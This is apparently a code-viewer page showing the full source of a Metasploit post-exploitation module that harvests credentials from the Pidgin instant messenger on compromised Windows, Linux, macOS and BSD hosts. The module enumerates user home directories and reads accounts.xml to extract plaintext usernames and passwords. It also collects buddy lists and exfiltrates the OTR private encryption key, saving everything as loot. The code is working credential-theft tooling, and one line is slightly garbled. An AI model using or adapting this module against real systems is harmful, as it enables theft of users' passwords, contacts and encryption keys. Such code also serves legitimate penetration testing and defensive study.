Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/pidgin_cred.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Windows::UserProfiles1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',16'Description' => %q{17This module will collect credentials from the Pidgin IM client if it is installed.18},19'License' => MSF_LICENSE,20'Author' => [21'bannedit', # post port, added support for shell sessions22'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script23],24'Platform' => %w[bsd linux osx unix win],25'SessionTypes' => ['shell', 'meterpreter' ],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29core_channel_eof30core_channel_open31core_channel_read32core_channel_write33stdapi_fs_stat34stdapi_sys_config_getenv35stdapi_sys_config_getuid36]37}38}39)40)41register_options(42[43OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),44# Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),45]46)47end4849# TODO: add support for collecting logs50def run51paths = []52case session.platform53when 'unix', 'linux', 'bsd'54@platform = :unix55paths = enum_users_unix56when 'osx'57@platform = :osx58paths = enum_users_unix59when 'windows'60@platform = :windows61profiles = grab_user_profiles62profiles.each do |user|63next if user['AppData'].nil?6465pdir = check_pidgin(user['AppData'])66paths << pdir if pdir67end68else69print_error "Unsupported platform #{session.platform}"70return71end72if paths.nil? || paths.empty?73print_status('No users found with a .purple directory')74return75end7677get_pidgin_creds(paths)78end7980def enum_users_unix81if @platform == :osx82home = '/Users/'83else84home = '/home/'85end8687if got_root?88userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")89userdirs << "/root\n"90else91userdirs = session.shell_command("ls #{home}#{whoami}/.purple")92if userdirs =~ /No such file/i93return94else95print_status("Found Pidgin profile for: #{whoami}")96return ["#{home}#{whoami}/.purple"]97end98end99100paths = Array.new101userdirs.each_line do |dir|102dir.chomp!103next if dir == '.' || dir == '..'104105dir = "#{home}#{dir}" if dir !~ /root/106print_status("Checking for Pidgin profile in: #{dir}")107108stat = session.shell_command("ls #{dir}/.purple")109next if stat =~ /No such file/i110111paths << "#{dir}/.purple"112end113return paths114end115116def check_pidgin(purpledir)117path = ''118print_status("Checking for Pidgin profile in: #{purpledir}")119session.fs.dir.foreach(purpledir) do |dir|120if dir =~ /\.purple/121if @platform == :windows122print_status("Found #{purpledir}\\#{dir}")123path = "#{purpledir}\\#{dir}"124else125print_status("Found #{purpledir}/#{dir}")126path = "#{purpledir}/#{dir}"127end128return path129end130end131return nil132endreturn nil133end134135def get_pidgin_creds(paths)136case paths137when /#{@user}\\(.*)\\/138sys_user = ::Regexp.last_match(1)139when %r{home/(.*)/}140sys_user = ::Regexp.last_match(1)141end142143data = ''144credentials = Rex::Text::Table.new(145'Header' => 'Pidgin Credentials',146'Indent' => 1,147'Columns' =>148[149'System User',150'Username',151'Password',152'Protocol',153'Server',154'Port'155]156)157158buddylists = Rex::Text::Table.new(159'Header' => 'Pidgin Contact List',160'Indent' => 1,161'Columns' =>162[163'System User',164'Buddy Name',165'Alias',166'Protocol',167'Account'168]169)170171paths.each do |path|172print_status("Reading accounts.xml file from #{path}")173if session.type == 'shell'174type = :shell175data = session.shell_command("cat #{path}/accounts.xml")176else177type = :meterp178accounts = session.fs.file.new("#{path}\\accounts.xml", 'rb')179data << accounts.read until accounts.eof?180end181182creds = parse_accounts(data)183184if datastore['CONTACTS']185blist = ''186case type187when :shell188blist = session.shell_command("cat #{path}/blist.xml")189when :meterp190buddyxml = session.fs.file.new("#{path}/blist.xml", 'rb')191blist << buddyxml.read until buddyxml.eof?192end193194buddies = parse_buddies(blist)195end196197creds.each do |cred|198credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]199end200201if buddies202buddies.each do |buddy|203buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]204end205end206207# Grab otr.private_key208otr_key = ''209if session.type == 'shell'210otr_key = session.shell_command("cat #{path}/otr.private_key")211else212key_file = "#{path}/otr.private_key"213otrkey = begin214session.fs.file.stat(key_file)215rescue StandardError216nil217end218if otrkey219f = session.fs.file.new(key_file, 'rb')220otr_key << f.read until f.eof?221else222otr_key = 'No such file'223end224end225226if otr_key !~ /No such file/227store_loot('otr.private_key', 'text/plain', session, otr_key.to_s, 'otr.private_key', 'otr.private_key')228print_good("OTR Key: #{otr_key}")229end230end231232if datastore['CONTACTS']233store_loot('pidgin.contacts', 'text/plain', session, buddylists.to_csv, 'pidgin_contactlists.txt', 'Pidgin Contacts')234end235236store_loot('pidgin.creds', 'text/plain', session, credentials.to_csv, 'pidgin_credentials.txt', 'Pidgin Credentials')237end238239def parse_accounts(data)240creds = []241doc = REXML::Document.new(data).root242243doc.elements.each('account') do |sub|244account = {}245if sub.elements['password']246account['password'] = sub.elements['password'].text247else248account['password'] = '<unknown>'249end250251account['protocol'] = begin252sub.elements['protocol'].text253rescue StandardError254'<unknown>'255end256account['user'] = begin257sub.elements['name'].text258rescue StandardError259'<unknown>'260end261account['server'] = begin262sub.elements['settings'].elements["setting[@name='server']"].text263rescue StandardError264'<unknown>'265end266account['port'] = begin267sub.elements['settings'].elements["setting[@name='port']"].text268rescue StandardError269'<unknown>'270end271creds << account272273print_status('Collected the following credentials:')274print_status(' Server: %s:%s' % [account['server'], account['port']])275print_status(' Protocol: %s' % account['protocol'])276print_status(' Username: %s' % account['user'])277print_status(' Password: %s' % account['password'])278print_line('')279end280281return creds282end283284def parse_buddies(data)285buddies = []286287doc = REXML::Document.new(data).root288doc.elements['blist'].elements.each('group') do |group|289group.elements.each('contact') do |bcontact|290contact = {}291contact['name'] = begin292bcontact.elements['buddy'].elements['name'].text293rescue StandardError294'<unknown>'295end296contact['account'] = begin297bcontact.elements['buddy'].attributes['account']298rescue StandardError299'<unknown>'300end301contact['protocol'] = begin302bcontact.elements['buddy'].attributes['proto']303rescue StandardError304'<unknown>'305end306307if bcontact.elements['buddy'].elements['alias']308contact['alias'] = bcontact.elements['buddy'].elements['alias'].text309else310contact['alias'] = '<unknown>'311end312313buddies << contact314print_status('Collected the following contacts:')315print_status(' Buddy Name: %s' % contact['name'])316print_status(' Alias: %s' % contact['alias'])317print_status(' Protocol: %s' % contact['protocol'])318print_status(' Account: %s' % contact['account'])319print_line('')320end321end322323return buddies324end325326def got_root?327case @platform328when :windows329if session.sys.config.getuid =~ /SYSTEM/330return true331else332return false333end334else # unix, bsd, linux, osx335ret = whoami336if ret =~ /root/337return true338else339return false340end341end342end343344def whoami345if @platform == :windows346session.sys.config.getenv('USERNAME')347else348session.shell_command('whoami').chomp349end350end351end352353354